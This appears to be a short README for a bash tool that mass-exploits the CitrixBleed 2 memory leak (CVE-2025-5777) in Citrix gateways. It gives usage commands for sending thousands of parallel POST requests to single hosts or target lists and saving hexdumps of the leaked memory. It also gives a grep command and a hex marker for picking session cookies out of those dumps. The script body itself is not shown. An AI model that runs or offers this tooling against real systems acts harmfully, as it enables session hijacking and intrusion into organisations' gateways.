CitrixBleed 2 (CVE-2025-5777)
```bash
# citrixbleed2_parallel.sh – Mass‑scanner for CitrixBleed 2 (CVE‑2025‑5777)
# -----------------------------------------------------------------------------
# USAGE
# Single host – 10 000 requests, 300 jobs, no OpenSSL tweak, progress bar
# ./citrixbleed2_parallel.sh -n 10000 -j 300 --no-ssl-conf --progress https://gw.example.com
# Batch file – 5 000 requests each, results under out/
# ./citrixbleed2_parallel.sh -f targets.txt -n 5000 -o out --progress
# -----------------------------------------------------------------------------
# OPTIONS
# -f, --file FILE File with one target per line (host or URL)
# -n, --requests N POST requests per host (default 100)
# -j, --jobs J GNU parallel job count (default 50)
# -o, --out-dir DIR Directory for per‑host hexdumps (default "dumps")
# --no-ssl-conf Disable UnsafeLegacyRenegotiation OpenSSL tweak
# --progress Show GNU parallel real‑time progress bar / ETA
# -h, --help Show this help and exit
# -----------------------------------------------------------------------------
# OUTPUT
# * Continuous hexdumps to STDOUT (line‑buffered)
# * Per‑host files: DIR/<host>.hexdump (written in real‑time, flock‑protected)
# -----------------------------------------------------------------------------
```
## Find hits:
`grep -Ri "35 66 34 66"`
> Session cookies always end with the hex sequence 45525d5f4f58455e445a4a42. Incorporating this information can greatly enhance the accuracy of session token detection.
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